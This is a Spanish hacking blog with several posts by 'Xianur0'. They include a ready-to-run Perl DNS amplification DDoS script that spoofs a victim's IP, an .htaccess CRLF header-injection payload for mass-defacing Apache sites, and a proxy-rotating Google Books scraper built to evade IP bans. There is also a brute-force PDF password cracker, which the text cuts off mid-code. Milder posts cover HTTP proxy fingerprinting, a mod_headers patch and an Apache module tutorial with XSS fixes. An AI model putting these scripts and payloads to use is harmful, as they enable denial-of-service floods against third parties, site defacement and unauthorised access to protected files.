Hacking Television

Posted on 21:11 by Xianur0



Hacking Television es un nuevo proyecto, que se ha iniciado con varios compañeros, en este vamos a colgar papers, vídeos e imagenes, como novedad este blog (aparte de transmisiones en vivo y vídeo archivo), se integra temáticas como es el hardware hacking (molificación de objetos cotidianos, modding extremo, etc...) y muchas cosas mas. Solo me resta invitarlos a que lo visiten (también las donaciones son bien recibidas... el hardware no es gratuito y tampoco se cuenta con patrocinio xD jeje).

 http://hackingtelevision.blogspot.com/

Net::RawIP es un modulo/libreria de perl, que nos permite hacer gran cantidad de cosas, entre las cuales esta enviar paquetes spoofeados (tcp, udp, icmp, generic), vamos a ver un ejemplo de ello, un PoC de DNS Amplification que me arme por ahi usando esta libreria.

Vamos a explicar la tecnica en cuestion (el codigo ya esta comentado xD)

¿por que es eficiente?

Vamos a dar un ejemplo con dig:

xianur0@Zer0-Null:~/Net-RawIP-0.25$ dig @192.168.1.254 . ANY

; <<>> DiG 9.6.1-P2 <<>> @192.168.1.254 . ANY
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 53160 ;; flags: qr rd ra; QUERY: 1, ANSWER: 14, AUTHORITY: 0, ADDITIONAL: 11 ;; QUESTION SECTION: ;. IN ANY ;; ANSWER SECTION: . 452834 IN NS c.root-servers.net. . 452834 IN NS e.root-servers.net. . 452834 IN NS f.root-servers.net. . 452834 IN NS d.root-servers.net. . 452834 IN NS b.root-servers.net. . 452834 IN NS j.root-servers.net. . 452834 IN NS g.root-servers.net. . 452834 IN NS l.root-servers.net. . 452834 IN NS h.root-servers.net. . 452834 IN NS k.root-servers.net. . 452834 IN NS m.root-servers.net. . 452834 IN NS a.root-servers.net. . 452834 IN NS i.root-servers.net. . 66297 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2010060800 1800 900 604800 86400 ;; ADDITIONAL SECTION: e.root-servers.net. 538845 IN A 192.203.230.10 f.root-servers.net. 539272 IN A 192.5.5.241 f.root-servers.net. 600142 IN AAAA 2001:500:2f::f d.root-servers.net. 538814 IN A 128.8.10.90 b.root-servers.net. 538838 IN A 192.228.79.201 j.root-servers.net. 538827 IN A 192.58.128.30 j.root-servers.net. 600142 IN AAAA 2001:503:c27::2:30 g.root-servers.net. 538716 IN A 192.112.36.4 l.root-servers.net. 538832 IN A 199.7.83.42 l.root-servers.net. 157464 IN AAAA 2001:500:3::42 h.root-servers.net. 538823 IN A 128.63.2.53 ;; Query time: 1328 msec ;; SERVER: 192.168.1.254#53(192.168.1.254) ;; WHEN: Tue Jun 8 16:00:21 2010 ;; MSG SIZE rcvd: 497



es decir, nosotros solicitamos el registro any de un punto (root/raiz), y el servidor DNS nos respondio con el listado de los servidores DNS root de internet.

a cualquier servidor DNS que preguntemos esto por lo regular respondera con dicho listado. Ahora si nosotros enviamos un paquete DNS (como se ha dicho con el origen spoofeado xD) preguntando esto mismo, el servidor DNS respondera a la victima, por lo cual este ataque se amplifica (es mucho mayor lo que el servidor DNS envia que lo que nosotros enviamos).


Ahora va el PoC:


Código:
#!/usr/bin/perl

# By Xianur0
# uxmal666@gmail.com

use Net::DNS;
use Net::RawIP qw(:pcap);

print "\t\tDNS Amplification Attack By Xianur0\n\n";
my $usage = "\nUso: $0 [victima] [servidor] [Puerto victima (udp)] [N. Paquetes] [Registro]\n";

die $usage unless $ARGV[0] && $ARGV[1] && $ARGV[2] && $ARGV[3] && $ARGV[4];

my $fuckingvar1=$ARGV[0];
my $fuckingvar2=$ARGV[1];
my $fuckingvar4=$ARGV[2];
my $fuckingvar5='53';
my $registro = $ARGV[4];
my $domain = ".";
my $fuckingvar6 = 4000;
$fuckingvar6 = $ARGV[3] if ($ARGV[3] != 0);

my $packet_r = Net::DNS::Packet->new($domain, $registro, "IN"); # creamos el paquete
my $udp_r = new Net::RawIP({ip=> {saddr=>$fuckingvar1, daddr=>$fuckingvar2}, udp=>{source=>$fuckingvar4, dest=>$fuckingvar5}}); # especificamos los valores (IP Spoofeada, destino (victima), puerto origen (puerto a donde se enviara la respuesta del DNS) y destino)

print "Enviando...\n";
for($fuck = 0; $fuck < $fuckingvar6; $fuck++) {
  $udp_r->set({udp=>{data=>$packet_r->data}});
  $udp_r->send();
}


print "Enviado!\n";


Bytez xianur0

Analisis de red mediante HTTP

Posted on 11:37 by Xianur0

Antes que nada aclaro que se requiere conocimientos previos sobre el funcionamiento del HTTP, no se va a explicar el funcionamiento, solo va a mostrar los mecanismos de analisis...

Supongamos, nosotros tenemos una transferencia HTTP con web.com. Lo que podemos ver a simple vista es la respuesta que nos da, pero mas haya, nos interesa saber como esta estructurada la conexion al servidor, es decir, que puntos/proxys/balanceadores de carga hay?

Y por que nos seria util saber eso?, por varias razones, por ejemplo si determinamos la estructura que hay, podemos analizar las reglas de cada uno de los proxys y por consiguiente utilizarlo para algo "no tan bueno". Sin mas comenzemos:


de inicio vamos a utiliza webs reales, pero ocultando las direcciones, para evitarnos problemas....
Solo llames a estas webs: www.servidor1.com y www.servidor2.com.


La prueba que siempre nos sera de utilidad es la del TRACE:


TRACE / HTTP/1.0
Host: www.servidor1.com
X: <script>alert(/xss/.source)</script>



Esta prueba nos ayudara a determinar si se edito el paquete en algun punto de la red antes de llegar al servidor, es decir, la respuesta aproximada a esta consulta deberia de ser:


HTTP/1.1 200 OK
Date: Sat, 05 Jun 2010 17:20:26 GMT
Server: Apache
Transfer-Encoding: chunked
Content-Type: message/http

50
TRACE / HTTP/1.1
Host: www.servidor1.com
X: <script>alert(/xss/.source)</script>


0



suponiendo que el servidor solo envia datos con Transfer-encoding chunked.

esto es, se responde como contenido lo que enviamos, en caso de que la respuesta sea diferente, quiere decir que tenemos algo en la red, del mismo modo podemos extraer datos de eso, es decir segun cabeceras añadidas en el envio, se pueden determinar algunas cosas, por ejemplo:

HTTP/1.0 200 OK
Date: Sat, 05 Jun 2010 17:23:46 GMT
Server: Apache/2.2.8 (Unix) PHP/5.2.12
Content-Type: message/http
X-Cache: MISS from wefwfg
X-Cache-Lookup: NONE from wefwfg:80
Via: 1.0 wefwfg:80 (squid/2.6.STABLE5)
Connection: close

TRACE / HTTP/1.0
Host: www.servidor2.com
Via: 1.1 wefwfg:80 (squid/2.6.STABLE5)
X-Forwarded-For: 189.xx.xx.xx
Cache-Control: max-age=259200
Connection: keep-alive



esto es, primero que nada podemos ver en el encabezado:

X-Cache: MISS from wefwfg
X-Cache-Lookup: NONE from wefwfg:80
Via: 1.0 wefwfg:80 (squid/2.6.STABLE5)


Para comenzar ahi podemos determinar que se utiliza un servidor proxy cache llamado wefwfg, el usa el puerto 80, y es un squid/2.6.STABLE5, de momento ya sabemos que hay un servidor proxy cache implicado, pero eso no es todo.

TRACE / HTTP/1.0
Host: www.servidor2.com
Via: 1.1 wefwfg:80 (squid/2.6.STABLE5)
X-Forwarded-For: 189.xx.xx.xx
Cache-Control: max-age=259200
Connection: keep-alive



El proxy cache agrega las cabeceras Via, X-Forwarded-For, Cache-Control y Connection.

Lo que enviamos al servidor fue (en este caso):

TRACE / HTTP/1.1
Host: www.servidor2.com



Y ese envio no coincide con lo que le llego al servidor....

Ahora otro detalle: se envio la cabecera X-Forwarded-For, con mi ip, esto quiere decir, que a simple vista, no hay otro servidor proxy antes de este squid, en otras palabras, el servidor principal, al cual nos conectamos fue: wefwfg, y este realizo la conexion al servidor donde se encuentra www.servidor2.com

Ahora nos queda determinar si se balancea la carga (es decir que hubiera mas servidores en esto...), como podriamos hacer esto?, mediante un envio recursivo de datos, lo mas comun es detectar cabeceras Date, que no coincide (es decir, fallan por 1 minuto, 1 hora, 1 año, o mas...) o alguna diferencia en otra cabecera que marque tiempo o algo similar que pueda variar en caso de tratarse de otro servidor.

Pero no estas conformes con estas tecnicas, por la simple razon de que no funcionan en todos los servidores, es decir si el proxy no edita la respuesta, si no envia via o cabeceras similares o el servidor web no soporta TRACE, entonces no funcionaran, vamos a ver algunas mas:


GET http://localhost/ HTTP/1.1
Host: localhost
Connection: Close
Proxy-Connection: Close




Esto es una trampa doble, para comenzar, se pide localhost, es decir si hay un proxy este intentara conectarse a si mismo en el puerto 80, lo cual por lo regular causaria un bucle infinito (en caso de ser un proxy sin filtro para esto), un 403 o un 500. Pero adicional a eso pueden aver algunos otros datos:

HTTP/1.1 403 Forbidden
Date: Sat, 05 Jun 2010 17:20:32 GMT
Content-Length: 257
Content-Type: text/html
Server: NetCache appliance (NetApp/5.4R2D2)



Tenemos un 403, y aparte en la cabecera Server, tenemos datos del servidor proxy, en este caso un NetCache (Version 5.4R2D2).

Ahora dije que era una trampa doble, como podran notar agrege 2 tokens para la conexion (encabezados Connection y Proxy-Connection), es decir, en caso de no recibir un 403 o 500, podemos recibir en el encabezado de la respuesta un Connection: close o un Proxy-Connection: Close.

Un servidor web comun no utiliza Proxy-Connection, un proxy si...

Ahora podemos usar eso mismo con otra clase de consultas y ayudaria bastante...

Ahora regresando a lo del balanceo de cargas, lo mas eficiente para estos casos, aparte de revisar que las cabeceras no cuadren con lo que deberian, se puede forzar al servidor a mostrarse, como?

mediante un envio recursivo de paquetes, es decir, podemos determinar cuando un servidor cambie por ciertos detalles por ejemplo:

un servidor soporta 3 paquetes por conexion persistente, es decir:

GET / HTTP/1.1
Host: servidor2.com
Connection: keep-alive

GET / HTTP/1.1
Host: servidor2.com
Connection: keep-alive

GET / HTTP/1.1
Host: servidor2.com
Connection: close



y respondera a esas 3 consultas en la misma conexion, pero a la siguiente consulta, soporta 4?, ahi detectamos que son servidores diferentes...

Otro:

Enviamos varias consultas con diferentes metodos, determinamos que metodos soporta y si en otra vuelta, no soporta algun metodo, es lo mismo, es otro servidor...


Bueno concluimos con este paper diciendo lo siguiente:
la seguridad es solo un mito, los proxys invisibles no existen, siempre hay una forma de detectar cuando algo que esta ahi, no deberia estar ahi ;)...

PD: para mas informacion y mas tecnicas, asistir a mi conferencia en x25sec xd jajajaj

Saludos!, esto es todo por el momento... xD....

Parchando mod_headers

Posted on 9:07 by Xianur0

Bueno ahora viene la forma de parchar el mod_headers (apache2)...

Primero que nada se requiere el mod_headers.c (viene en cualquier paquete de codigo fuente del apache), luego viene lo siguiente:


static int nocrlf(char *val) {
ap_regex_t *regex;
ap_regcomp(&regex, "\n",AP_REG_EXTENDED);
if(ap_regexec(&regex, val, 0, NULL, 0) != 0) {
return 1;
}
return 0;
}




esa funcion retorna 1 en caso de que no tenga crlf lo que le demos como parametro, de lo contrario 0... esto es mediante expresiones regulares (nadamas buscamos un \n y es todo xD...).

la podemos colocar en cualquier lado (no importa mucho donde declaramos esta funcion), en mi caso lo puse en la linea 510...

lo siguiente es hacer que no setie las cabeceras cuando tienen crlf...

busquemos:

switch (hdr->action) {



y justamente antes ponemos:

if(nocrlf(process_tags(hdr, r)) == 1)



esto es, si hay crlf en el header no se entra al switch, de modo que no se setea la cabecera...

listo, ya tenemos el mod_headers parchado, ahora nos toca instalarlo:



root@Zer0-Null:/usr/local/apache2/bin# ./apxs -cia /home/xianur0/httpd-2.3.5-alpha/modules/metadata/mod_headers.c



bueno eso fue en mi caso, nadamas hay que posicionarnos en la ruta donde este instalado nuestro apache, y buscar el apxs (tiene que estar instalado, de otro modo tendriamos que recompilar el apache :S...) y darle la ruta del mod_headers.c

y ahora ya, tenemos parchado mod_headers y nuestro apache :)...

Apache mod_headers Mass Defacement

Posted on 15:46 by Xianur0

Autor: Xianur0 (Oscar García López)
CCAT Research Labs
Versiones afectadas: de momento se ha probado y todas las apache2 son afectadas, probablemente tambien la 1.3 pero no se ha realizado la prueba.
Parche: de momento ninguno, pero luego programamos uno :)...

Bueno este bug/detalle viene siendo algo muy simple, pero tiene bastante utilidad, es local, se requiere permisos para crear un .htaccess, y lo siguiente va de la siguiente forma:

Apache habia restringido las cabeceras que se pueden rescribir, por ejemplo Content-Length quedo bloqueada para basicamente todas las funciones, de modo que no se puede falsificar facilmente un content-length, pero pasa lo siguiente, mod_headers no filtra correctamente los CRLF, y apache no detecta que cabeceras se crean mediante el CRLF/LF, entonces tenemos lo siguiente:

Header set Last-Modified "Xianur0 Was Here\nContent-Length: 25"
Header set xianur0 "Xianur0 Was Here\nContent-Length: 25\n\n<h1>Xianur0 Was Here</h1>"


este .htaccess lo que haria seria rescribir la cabecera Last-Modified (esta cabecera es de las primeras en crearse), de modo que nuestra cabecera quedara antes que el content-length real, ahora hay diferencia entre el manejo de cabeceras que tienen los navegadores, por ejemplo google chrome, lee solo la primera cabecera y las siguientes repetidas son ignoradas, por el contrario firefox hace basicamente lo mismo que apache, va leyendo las cabeceras repetidas y remplazando el valor anterior por el de la cabecera mas reciente, de modo que nuestro .htaccess ya contempla esos detalles, primero edita Last-Modified (para que quede antes que el content-length real), y luego crea una cabecera "xianur0", con valor "Xianur0 Was Here", y en cada una pone un salto de linea ("\n"), y seguido de eso crea las cabeceras Content-Length que sustituiran a la real, luego en la ultima cabecera que se escribe, se insertan otros dos saltos de linea, y tenemos que lo siguiente queda en la seccion de html, los navegadores comunes, leen unicamente la cantidad de caracteres especificados en el content-length, de modo que todo lo siguiente despues de eso 25 que se especificaron, es ignorado.

y listo, tenemos un deface automatico de todas las paginas, nada se editar, solo se crea el .htaccess, pero a la vista de cualquier navegador la web estaria completamente defaceada :)...

HTTP/1.1 200 OK
Date: Wed, 05 May 2010 22:36:17 GMT
Server: Apache/2.3.5 (Unix)
Last-Modified: Xianur0 Was Here
Content-Length: 25
ETag: "1a4558-2d-432a5e4a73a80"
Accept-Ranges: bytes
Content-Length: 45
xianur0: Xianur0 Was Here
Content-Length: 25

<h1>Xianur0 Was Here</h1>
Content-Type: text/html

<html><body><h1>It works!</h1></body></html>



En resumen, apache bloquea la rescritura del Content-Length y otras cabeceras, pero no se requiere rescribirlas, unicamente crear otras en diferentes lugares y el funcionamiento interno de los navegadores y la inestabilidad del protocolo HTTP completan el proceso :)...


Bytez...

[Perl] Google Books Downloader

Posted on 15:42 by Xianur0

En pocas palabras, lo que hace es descargar dentro de la carpeta tmp (que tiene que estar creada en el mismo directorio que el perl), todas las paginas del libro especificado, las descarga una por una como imagen, no he tenido tiempo de buscar otra manera, pero creo que de momento es util para lo que esta planeado (bajar los libros para poder leerlos offline)...

esta diseñado para books.google.es, pero basta con cambiar el .es por .com (o lo que sea xD) y funcionara igual ;)...


xianur0@Zer0-Null:~$ perl gobookdownloader.pl 0EzERMZHkTIC 0 240 200.219.244.122:80
[-] Consulta inicial realizada, tenemos la cookie: PREF=ID=c882825959dda2ec:TM=1272916829:LM=1272916829:S=jA_XjmG4h8KbYi8K
http://books.google.es/books?id=0EzERMZHkTIC&pg=PA1&img=1&zoom=3&hl=es&sig=ACfU3U2Xm9aZPXoDIMgy91oaU-I0t892Dg
Descargada pagina: 0
http://books.google.es/books?id=0EzERMZHkTIC&pg=PA1&img=1&zoom=3&hl=es&sig=ACfU3U2Xm9aZPXoDIMgy91oaU-I0t892Dg
Descargada pagina: 1
http://books.google.es/books?id=0EzERMZHkTIC&pg=PA1&img=1&zoom=3&hl=es&sig=ACfU3U2Xm9aZPXoDIMgy91oaU-I0t892Dg
Descargada pagina: 2
http://books.google.es/books?id=0EzERMZHkTIC&pg=PA5&img=1&zoom=3&hl=es&sig=ACfU3U1cFZ1iIemGZygZ9-QCXiQSQoJLHg
Descargada pagina: 3
http://books.google.es/books?id=0EzERMZHkTIC&pg=PA6&img=1&zoom=3&hl=es&sig=ACfU3U0BFY-HtIbIjoEIdsvgcnKPhpeX8g
Descargada pagina: 4
http://books.google.es/books?id=0EzERMZHkTIC&pg=PA6&img=1&zoom=3&hl=es&sig=ACfU3U0BFY-HtIbIjoEIdsvgcnKPhpeX8g
Descargada pagina: 5
http://books.google.es/books?id=0EzERMZHkTIC&pg=PA6&img=1&zoom=3&hl=es&sig=ACfU3U0BFY-HtIbIjoEIdsvgcnKPhpeX8g
Descargada pagina: 6
http://books.google.es/books?id=0EzERMZHkTIC&pg=PA11&img=1&zoom=3&hl=es&sig=ACfU3U3G4_FjT1tZ4UR2Fl4Dh20ETPf8vw
Descargada pagina: 7
http://books.google.es/books?id=0EzERMZHkTIC&pg=PA12&img=1&zoom=3&hl=es&sig=ACfU3U1q4ErPv7WAB9OP3AYpAyAOvz-Q1A
Descargada pagina: 8
http://books.google.es/books?id=0EzERMZHkTIC&pg=PA13&img=1&zoom=3&hl=es&sig=ACfU3U2BQMNwDuVjuZkiUv_zZXXd1AAHmw
[...]


en la siguiente version programo que pase las imagenes a un PDF (para poder leer mas comodamente los libros).

Ahora sin mas el codigo:


#!/usr/bin/perl
use LWP::UserAgent;
# Google Books Downloader by Xianur0
# uxmal666@gmail.com
# nota: este codigo solo fue diseñado con la utilidad de poder leer los libros de forma offline
# el autor no se hace responsable del uso que se le de.
$ua = LWP::UserAgent->new;
$id = $ARGV[0];
$inicio = $ARGV[1];
$final = $ARGV[2];
$proxy = $ARGV[3];
die("Google Books Downloader by Xianur0\nUso: perl gobookdownloader.pl [id_libro] [pag. inicial] [pag. final] [Proxy (opcional)]") if($final eq "");
$cookie = "";
$contador = 0;

sub descargar {
$aurl = $_[0];
$id = $_[1];
$cookie = $_[2];
$proxya = $_[3];
$extencion = ".jpg";
($contenido,$cookie, $tipo) = consultar($aurl,$cookie,"http://books.google.es/books?id=".$id."&printsec=frontcover&source=gbs_slider_thumb",$proxya);
if($contenido ne "") {
if($tipo eq "image/jpeg") {
$extencion = ".jpg";
}
if($tipo eq "image/png") {
$extencion = ".png";
}
else {
$extencion = ".jpg";
}
open(ARCHIVO,">tmp/".$id."-".$contador.$extencion);
binmode ARCHIVO;
print ARCHIVO $contenido;
close(ARCHIVO);
print $aurl."\n";
print "Descargada pagina: ".$contador."\n";
$contador++;
}
}

sub consultar {
$url = $_[0];
$cookie = $_[1];
$urlini = $_[2];
$proxy = $_[3];
my $contettype = "";
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9");
$ua->proxy(['http'] => 'http://'.$proxy) if($proxy ne "");
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8');
$req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');
$req->header('Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7');
$req->header('Cache-Control' => 'max-age=0');
$req->header('Cookie' => $cookie);
$req->header('Referer' => $urlini) if($urlini ne "");
$res = $ua->request($req);
if ($res->is_success) {
$contenido = $res->content;
$respuesta = $res->as_string;
if($respuesta =~ /Set-Cookie: (.*?);/) {
$cookie = $1;
}
if($respuesta =~ /Content-Type: (.*?)\r?\n/) {
$contettype = $1;
}
} else {
if($res->status_line =~ /(500 Can't connect to|503 Service Unavailable)/) {
die("[x] IP Baneada (o proxy ".$proxy." invalido), usar otro proxy...\n");
}
return ("",$cookie,"text/html");
}
return ($contenido,$cookie,$contettype);
}
print "\t\t\t\tGoogle Books Downloader by Xianur0\n";
$urlbase = "http://books.google.es/books?id=".$id."&printsec=frontcover&source=gbs_slider_thumb";
($contenido,$cookie,$tipo) = consultar($urlbase,$cookie,"",$proxy);
print "[-] Consulta inicial realizada, tenemos la cookie: ".$cookie."\n";
for($i = $inicio;$i<=$final;$i++) {
$estaurl = '
http://books.google.es/books?id='.$id.'&lpg=PP1&pg=PA'.$i.'&jscmd=click3';
($contenido,$cookie,$tipo) = consultar($estaurl,$cookie,$urlbase,$proxy);
($iurl) = ($contenido =~ /^{"page":\[{"pid":".*?","src":"(.*?)"/);
$iurl =~ s/\\u0026/&/g;
if($iurl ne "") {
descargar($iurl,$id);
} else { $final++; }
}
print "Descargado exitosamente! :)\n";

Bue me decidi por escribir un ligero curso sobre programacion de mods de apache, y bueno este es el primer capitulo xD.

Notas previas:

1ro: Se requiere un minimo de conocimientos de programacion C/C++.
2do: Se requiere tener apache instalado mod_so (no voy a explicar como hacerlo xD) y apxs.

Antes que nada que vendria siendo un mod? (vaya si comenzaste a leer el texto y no sabes ni de que se trata esto es para ti xD)

Un mod (llamemoslo asi), es una extencion para apache, imaginemos que apache es un framework donde corremos nuestras aplicaciones, las aplicaciones vendrian siendo los mods, es decir una aplicacion que utiliza las respectivas APIs de apache, controla cualquier funcion realizada por el servidor, y basicamente cualquier otra cosa dentro del servidor apache (obviamente esto no se reduce a solo actuar sobre apache, pero digamos que desde apache se ejecutara todo)

Dynamic Shared  Object
El servidor HTTP Apache es un programa modular en el que el administrador puede elegir qué funcionalidades se incluyen mediante la selección de un conjunto de módulos. En primer lugar, los módulos pueden compilarse de manera estática en el binario httpd. De forma alternativa, los módulos también pueden compilarse como Objetos Dinamicos Compartidos (DSOs) que existen de forma independiente del archivo binario httpd. Los módulos que se deseen usar como objetos dinámicos compartidos pueden compilarse al mismo tiempo que el servidor, o pueden compilarse en otro momento y ser añadidos después usando la Herramienta de Extensión de Apache (apxs).

(Citado de la web oficial de apache xD)

Ahora sin mas, vamos a comenzar....



#include <http_protocol.h>
#include <http_config.h>
#include <http_core.h>

static int helloworld_handler(request_rec* r)
{
if (!r->handler || strcmp(r->handler, "helloworld"))
return DECLINED;

if (r->method_number != M_GET)
return HTTP_METHOD_NOT_ALLOWED;

ap_set_content_type(r, "text/html");
ap_rputs("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\">\n", r);
ap_rputs("<html><head><title>Hi!</title></head>", r);
ap_rputs("<body><h1>Tu IP: </h1>", r);
ap_rputs(r->connection->remote_ip,r);
ap_rputs("<h1>URI: </h1>",r);
ap_rputs(r->uri,r);
ap_rputs("<h1>Request: </h1>",r);
ap_rputs(r->the_request,r);
int *contentlength = apr_pstrdup(r->pool, apr_table_get(r->headers_in, "Content-Length"));
if(contentlength) {
ap_rputs("<h1>Content-Length: </h1>",r);
ap_rputs(contentlength,r);
}
ap_rputs("</h1></body></html>",r);
return OK;
}

static void register_hooks(apr_pool_t* pool)
{
ap_hook_handler(helloworld_handler, NULL, NULL, APR_HOOK_MIDDLE);
}

module AP_MODULE_DECLARE_DATA helloworld_module = {
STANDARD20_MODULE_STUFF,
NULL,
NULL,
NULL,
NULL,
NULL,
register_hooks
};


Vamos por partes...


#include <http_protocol.h>
#include <http_config.h>
#include <http_core.h>


Incluimos las librerias basicas a usar...

static int helloworld_handler(request_rec* r)
{
[...]

Aqui se define como tal las acciones a realizar, para comenzar se toma un parametro (r), el cual
podriamos resumir como el objeto que usaremos para enviar y tomar los datos del envio
(y algunos de la respuesta, pero no viene al caso en este capitulo).

if (!r->handler || strcmp(r->handler, "helloworld"))
return DECLINED;


decimos que si no esta definido el handler "helloworld" en esta ejecucion, salgamos,
es decir si quitamos estas lineas el resto se ejecutaria en todos los directorios (al hacer consulta),
de modo que no se cargarian las webs en nuestro servidor, de modo que decimos que solo continue cuando este
definido el handler "helloworld", dicho handler lo podemos definir con un .htaccess:


SetHandler helloworld


Ese seria el ejemplo. Donde pongamos ese .htaccess se ejecutara nuestro mod.

Seguimos...

if (r->method_number != M_GET)
return HTTP_METHOD_NOT_ALLOWED;

Esto seria opcional, unicamente checa que el metodo sea GET, de no ser GET tirara un 405.

ap_set_content_type(r, "text/html");

Seteamos el content-type de la respuesta a "text/html"


ap_rputs("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\">\n", r);
ap_rputs("<html><head><title>Hi!</title></head>", r);
ap_rputs("<body><h1>Tu IP: </h1>", r);
ap_rputs(r->connection->remote_ip,r);

Enviamos al navegador (r apuntando) el html inicial y su IP, esto mediante r->connection->remote_ip
Es decir:
de r llamemos al metodo connection del cual pidamos remote_ip el cual nos retornara la ip del cliente.

ap_rputs("<h1>URI: </h1>",r);
ap_rputs(r->uri,r);


Aqui se imprime nuevamente un html y luego se imprime el "URI" que en dado caso vendria siendo el directorio
consultado que en mi caso seria: "/helloworld/" (ahi defini el handler).

Como tal es vulnerable a XSS:

GET http://localhost/helloworld/<script>alert('xss')</script> HTTP/1.1
Host: localhost

El resultado sera que nos lanze un bonito alert...

Pero no se preocupen que apache ya lo tiene resuelto, para ello usar ap_escape_html

Esto es:

ap_escape_html(r->pool,r->uri)

Resumiendo parchado quedaria:

ap_rputs("<h1>URI: </h1>",r);
ap_rputs(ap_escape_html(r->pool,r->uri),r);

Seguimos...

ap_rputs("<h1>Request: </h1>",r);
ap_rputs(r->the_request,r);

Lo que hace como es obvio imprime el request enviado, es decir la primera linea de la consulta HTTP:

GET /helloworld/%3Cscript%3Ealert(%27xss%27)%3C/script%3E HTTP/1.1


Seria un ejemplo de lo que imprimiria, a simple vista pareseria que no hay XSS, pero...

GET http://localhost/helloworld/?asas=<> HTTP/1.1
Host: localhost

HTTP/1.1 200 OK
Date: Wed, 14 Apr 2010 22:49:22 GMT
Server: Apache/2.3.5 (Unix)
Content-Length: 231
Content-Type: text/html;charset=ascii


<title>Hi!</title>
<h1<Tu IP: </h1>127.0.0.1
<h1>URI: </h1>/helloworld/
<h1>Request: </h1>GET http://localhost/helloworld/?asas=<> HTTP/1.1

Todo depende de la consulta que se se llama...

Lo mismo...

ap_rputs(ap_escape_html(r->pool,r->the_request),r);


y nuevamente solucionado...

Lo siguiente en la lista:

int *contentlength = apr_pstrdup(r->pool, apr_table_get(r->headers_in, "Content-Length"));
if(contentlength) {
ap_rputs("<h1>Content-Length: </h1>",r);
ap_rputs(contentlength,r);
}

Primero que nada se intenta tomar el valor de la cabecera Content-Length, luego si lo pudo tomar lo imprime. Hablando un poco mas tecnicamente, apache utilizar tables, que vendrian siendo como hashtables en otros lenguajes de programacion, o como una matriz con indice literal. Entonces utilizamos la funcion apr_table_get() para obtener el valor que nos interesa (en este caso el valor de Content-Length), si les interesa mas info al respecto de las hashes:

Introduction to the Apache table API

Muchos me diran ahi hay otro XSS!, pero no como tal, es decir:

Apache automaticamente valida el content-length, es decir si no es numerico, entero y mayor de 0, retorna un 413 equest Entity Too Large.

Aparte de que solo estamos permitiendo GET, asi que amenos que sea una aplicacion muy mal diseñada y que trabaje con html, no deberia haber tanto problema...

Claro que si no se sienten comodos, pueden filtrarlo de la misma forma que se hizo arriba xD...

ap_rputs("</h1></body></html>",r);
return OK;
}


Se imprime el final del html y retornamos OK (ejecucion correcta).

Hasta aqui vamos programado lo que va a hacer, pero como inicializarlo?, Eso hace el resto de codigo:

static void register_hooks(apr_pool_t* pool)
{
ap_hook_handler(helloworld_handler, NULL, NULL, APR_HOOK_MIDDLE);
}

module AP_MODULE_DECLARE_DATA helloworld_module = {
STANDARD20_MODULE_STUFF,
NULL,
NULL,
NULL,
NULL,
NULL,
register_hooks
};

Ahora nos queda instalar nuestro primer "helloworld" en apache:

Paso 1:
root@Zer0-Null:/usr/local/apache2/bin# ./apxs -cia /home/xianur0/Escritorio/mod_test.c
Paso 2:
root@Zer0-Null:
/usr/local/apache2/bin# ./httpd -k restart

Si no hay problema en ninguno de los dos pasos, tendremos instalado nuestro modulo,
y si tambien ya hemos puesto el htaccess, nuestro primer modulo debe de estar funcionando :)

Bytez Xianur0

Prototipo: Crackeador PDF Java

Posted on 10:52 by Xianur0

Ultimamente he estado algo fuera, por x.25sec, programando, diseñando, etc...
Pero entre ese tiempo tambien estoy diseñando algunos codigos individuales, en este caso un crackeador PDF, aun es un "prototipo", pues se podria mejorar mucho, bueno se los comparto, y se aceptan cualquier sugerencia para mejorar el funcionamiento :)...



package pdfcracker;
import java.io.IOException;
import java.util.logging.Level;
import java.util.logging.Logger;
import org.apache.pdfbox.pdmodel.PDDocument;
/**
*
* @author xianur0
*/
class TestTh extends Thread {
private String filename;
private String passs;
private int caractermin = 32;
private int caractermax = 127;
private static PDDocument document = null;
public static int passwd[];
public static int largopass = 1;
public static boolean available = false;
public TestTh(String filename, int caractermina, int caractermaxa, PDDocument documento, int pass[]) {
caractermin = caractermina;
caractermax = caractermaxa;
passwd = pass;
document = documento;
}
public synchronized String aumentar()
{
while(available == true) {
try {
wait();
} catch (InterruptedException e) { }
}
available = true;
int tamarray = passwd.length;
passwd[tamarray-1]++;
for(int posicion = tamarray-1;posicion>=0;posicion--) {
if(passwd[posicion] > caractermax) {
if(posicion == 0) {
largopass++;
System.out.println(new StringBuilder().append("Aumentado a ").append(largopass).append(" caracteres").toString());
int tmp[] = new int[tamarray+1];
for(int ia = tamarray-1;ia>=0;ia--) {
tmp[ia+1] = passwd[ia];
if(ia == 0) tmp[0] = caractermin;
}
passwd = tmp;
passwd[1] = caractermin;
tamarray++;
} else {
passwd[posicion] = caractermin;
passwd[posicion-1]++;
}
}
}
StringBuilder passbuff = new StringBuilder();
for(int posicion = 0;posicion<tamarray;posicion++)
passbuff.append((char) passwd[posicion]);
notifyAll();
return passbuff.toString();
}
public synchronized Boolean comprobar(String filename,String pass) {
while(available == false) {
try {
wait();
} catch (InterruptedException e) { }
}
available = false;
try {
if(!document.isEncrypted()) {
System.out.println("Archivo no encriptado!");
System.exit(1);
} else {
document.decrypt(pass);
}
} catch (Exception ex) {
}
if(!document.isEncrypted()) {
notifyAll();
return true;
} else {
notifyAll();
return false;
}
}
public void run() {
while(true) {
passs = aumentar();
if(comprobar(filename,passs)) {
System.out.println(new StringBuilder().append("Password encontrada: ").append(passs).toString());
System.exit(0);
}
}
}
}


public class Main {
static String filename = "";
static int threadsausar = 1;
static int caractermin = 48;
static int caractermax = 57;
public static void main(String args[] ) {
if(args.length < 4) {
System.out.println("Uso: java -jar crackeador.jar [archivo] [numeros/todo] [N. caracteres] [Threads a usar]");
System.exit(-1);
}
filename = args[0];
if(args[1].equals("numeros")) { caractermin = 48; caractermax = 57;}
else if(args[1].equals("todo")) { caractermin = 32; caractermax = 127;}
